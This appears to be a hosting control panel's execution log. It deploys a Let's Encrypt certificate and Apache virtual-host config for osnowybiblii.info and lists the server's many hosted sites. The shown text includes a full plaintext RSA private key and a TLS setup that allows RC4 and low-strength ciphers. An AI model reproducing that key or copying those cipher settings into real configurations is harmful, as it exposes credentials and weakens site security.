47:12:b7:74:1e:db:04:4f:85:17:f1:4e:f1:07:9b:2a

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBtPDZU0ZaRF9RPbygcjQznFVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDA1MDUwMTQ5WhcNMjYwNzA0MDUwMTQ4WjAcMRowGAYDVQQD
ExFvc25vd3liaWJsaWkuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALPLwumNp1gNhRO29ZIyng8n4oLWk8crpg/oBn0HYraC925QnJsTW3k4SwJb
ErdEp8Fq7goM6EYmNemt67sti73mSIeoNtRtc9nU+KQjYTpxwJ6fPybsmmUvzCCb
qdwCYR75MBEELAh0cvW3aq4t9/TSZD9P8muXVeEN9CXXgNPNZZGMMX2Re+Ke3oZQ
BPrsRnDkJ9buzohFlWv87PKiyt9JBVnedY58CrEF37F7FbUtAPVN84Ar1BnC357O
IkpuFjLsHxu0cP5diY9Lsxmy+Dt8feZ3eZMRptYPXYnn6YOwR2sLO6jqdEmKQwWL
ef9AK6WHRRPVXLfz2b+gmJumcrcCAwEAAaOCAjcwggIzMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSj
sgk/uQpi8a6LlbzobF7FGAcOYzAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc
6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEW9zbm93eWJpYmxpaS5pbmZvghV3d3cub3Nu
b3d5YmlibGlpLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAj
oCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy84Ni5jcmwwggENBgorBgEEAdZ5
AgQCBIH+BIH7APkAdgDIo8R/x7OtuTVrAT9qehJt4zpOQ6XGRvmXrTl1mR3PmgAA
AZ1cOlQeAAAEAwBHMEUCIGAlHobnGBBBd/qg/Vy22rTy5xUXX0wpqO4kROYckiD1
AiEA8Rwq+BLw8Deo6aXmOMSD6RQfCTPQrLuh248Z0MsZVUgAfwBGr4Y9Oz7ln6V3
3qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ1cOlTZAAgAAAUAAwk0LQQDAEgwRgIh
ALnXqtQY5Ie2O3puCblCNtRjHpDIFLgICLibyLPKEgVGAiEA4q3XknnDRBMqNlAm
oewsdf3hpG7QyHSj77QoTpu4OOkwDQYJKoZIhvcNAQELBQADggEBAJrBSX1uRhgC
cW0nd4pLspZKsLfH97sEgSqrdxwMRZ2bfncjXB7fV3kKlLdU0WU1o2UJvv+lZ+F+
5/k78qagYZtpPOsxoscaNyLfCLaPtYJJBc5S6x+ucKj12fE9nW/zqQgnAu3FlM5e
+LL+RoJcSqFlYJuTQSmCmWHCq9l4yxJugmWEN+BtWALFDtj1hf3q9+11a5k7tOT8
9jY60PIYXvxOB3FE/sUIknxEmhiLXsV60OSUQCfCwKZAEvkwkWU/RTdCqlcqM6Y1
9TjZ6AnmLf6BeCnyp87Sc2RU0SwKda3ihVDtgYPfLl4ytBSbOUEf/ifJCKRpzBxt
QO/ntiFW3LU=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCzy8LpjadYDYUT
tvWSMp4PJ+KC1pPHK6YP6AZ9B2K2gvduUJybE1t5OEsCWxK3RKfBau4KDOhGJjXp
reu7LYu95kiHqDbUbXPZ1PikI2E6ccCenz8m7JplL8wgm6ncAmEe+TARBCwIdHL1
t2quLff00mQ/T/Jrl1XhDfQl14DTzWWRjDF9kXvint6GUAT67EZw5CfW7s6IRZVr
/OzyosrfSQVZ3nWOfAqxBd+xexW1LQD1TfOAK9QZwt+eziJKbhYy7B8btHD+XYmP
S7MZsvg7fH3md3mTEabWD12J5+mDsEdrCzuo6nRJikMFi3n/QCulh0UT1Vy389m/
oJibpnK3AgMBAAECggEAFbL6T6CqeSyMipASvDXCsLaSFlNaW3fPn2zT16QcDEXr
IdO1ytt/tzYNi3e9XwP4sRW8K9dZ8xlqeUzlvd3l1yHjUAgDsgiRqlETPxAMDHct
FZfHkeWNTrgBjU/sJKLe4NOXMv6LZ+vR8gjUZbgjjFcWBTQbYFPP6Az8kdKb+DPG
ixJBQxhhpONQfaygK7IdjC+jTVL72tfj8y9Qzddi2gQaltwzH9pSasZ5WASeZyG1
IMcKsqjthHfS0A9bj/Bw7Po8ltykDFp7ic7fiUzyK5vhn57piR5kI+x6kqTFLh3t
KazT1wIOtoHJtakTeLO+43xq23w+NiuDoBAPwtgKZQKBgQDZ8+XerKJJusifwnXP
DbplteURve6jp/5BLs38AniVbbRnqtu2R3uS2Hk/Y6FWi7feN7BuDHJEwGCEH1hp
C9XBuEZxZFjsRwsbhZblRsSQFU9LdjnqpEWAFHW76ca+zfS4BNnvDVS38B2Ldi2+
XUY/N18ILjf/xN+3hfTP6a22TQKBgQDTLqw4Myk0WQjm8JxpmtiaqgfTV/36GxzC
EjFJvunkGDPvVBGWadRcTJXhCWGXCTehsoZANt9XeO4fGz+vM47eBYqNuBgu/pt/
+byHQphUfCOsgdzX3nBR/LqtYvqTbyejSO8T4A8NlhQsJQBzDw8vZ4+OQJveLJYC
bE1DrGUXEwKBgBnVZvG11KaYlR8alYwtPGLB5JztvlN3nhNr0M6GHHTZxABlqBU6
89K8BeMVlBIGDY0xXKAuqXyssMP4UypgVL3ZccAO/NtEsHRaqUAT20iYvgVbxhGh
1vsPccUMOJp1HwSQzqQfGGOU+muFXnap56GmloUJtWmDlGDUZ+gc8pIhAoGBAKh7
rg7QUmlfN0j4YfGnBnSufrvQkeI+Sz1SQlxxoizGWnjwe2+jUzeoKlN1ppRXWDj7
Mzx8CsfAxUmv9akT20Gq7hWO8Exd+TWqywymxt1whQ2WNdlLsBTZKx41v3Bs2BTf
lU4oDhpqyAFILAmf1B+f4do+FZy1uaCJQ0NggO5dAoGBAIHhrIPLT2TmTzzkApXb
b6xgc6rvxQChFyuAoduu3/3+HNPaajsoZeLAZRbpZAAnoMItMJDm4i5Vphx5NXnA
+aGwp3eh628ecI1ukb5cumUDQzzgFGvKTVpTl3hxo/HyaYD7NOd2nxkzmmjsUynP
CwEefU0DfLUKa5X+eeAvpVd7
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-05 06:00:20: 

chmod 755 /tmp/pkp285269; /tmp/pkp285269; rm /tmp/pkp285269

2026-04-05 06:00:20: 


dir=/etc/ssl/certs


2026-04-05 06:00:21: 

PUT: /tmp/pkp891841

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/osnowybiblii_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-05 06:00:21: 

chmod 755 /tmp/pkp891841; /tmp/pkp891841; rm /tmp/pkp891841

2026-04-05 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/osnowybiblii_www_info.conf 45

<VirtualHost *:80>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-05 06:00:21: 

PUT: /tmp/pkp591696

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=osnowybiblii_www_info.conf
TARGET=/etc/apache2/sites-enabled/osnowybiblii_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/osnowybiblii_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/osnowybiblii_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/osnowybiblii_www_info.conf= 1'
fi


2026-04-05 06:00:21: 

chmod 755 /tmp/pkp591696; /tmp/pkp591696; rm /tmp/pkp591696

2026-04-05 06:00:21: 




2026-04-05 06:00:21: 

PUT: /tmp/pkp238502

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-05 06:00:21: 

chmod 755 /tmp/pkp238502; /tmp/pkp238502; rm /tmp/pkp238502

2026-04-05 06:00:21: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-05 06:00:21: Establishing a connection
2026-04-05 06:00:21: 

PUT: /tmp/pkp811121

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-05 06:00:21: 

chmod 755 /tmp/pkp811121; /tmp/pkp811121; rm /tmp/pkp811121

2026-04-05 06:00:21: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-05 06:00:21: 

PUT: /tmp/pkp255610

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/osnowybiblii_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-05 06:00:21: 

chmod 755 /tmp/pkp255610; /tmp/pkp255610; rm /tmp/pkp255610

2026-04-05 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/osnowybiblii_www_info.conf	1414

<VirtualHost *:80>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-05 06:00:21: 

PUT: /tmp/pkp880963

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-05 06:00:21: 

chmod 755 /tmp/pkp880963; /tmp/pkp880963; rm /tmp/pkp880963

2026-04-05 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt	5382
47:12:b7:74:1e:db:04:4f:85:17:f1:4e:f1:07:9b:2a

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBtPDZU0ZaRF9RPbygcjQznFVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDA1MDUwMTQ5WhcNMjYwNzA0MDUwMTQ4WjAcMRowGAYDVQQD
ExFvc25vd3liaWJsaWkuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALPLwumNp1gNhRO29ZIyng8n4oLWk8crpg/oBn0HYraC925QnJsTW3k4SwJb
ErdEp8Fq7goM6EYmNemt67sti73mSIeoNtRtc9nU+KQjYTpxwJ6fPybsmmUvzCCb
qdwCYR75MBEELAh0cvW3aq4t9/TSZD9P8muXVeEN9CXXgNPNZZGMMX2Re+Ke3oZQ
BPrsRnDkJ9buzohFlWv87PKiyt9JBVnedY58CrEF37F7FbUtAPVN84Ar1BnC357O
IkpuFjLsHxu0cP5diY9Lsxmy+Dt8feZ3eZMRptYPXYnn6YOwR2sLO6jqdEmKQwWL
ef9AK6WHRRPVXLfz2b+gmJumcrcCAwEAAaOCAjcwggIzMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSj
sgk/uQpi8a6LlbzobF7FGAcOYzAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc
6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEW9zbm93eWJpYmxpaS5pbmZvghV3d3cub3Nu
b3d5YmlibGlpLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAj
oCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy84Ni5jcmwwggENBgorBgEEAdZ5
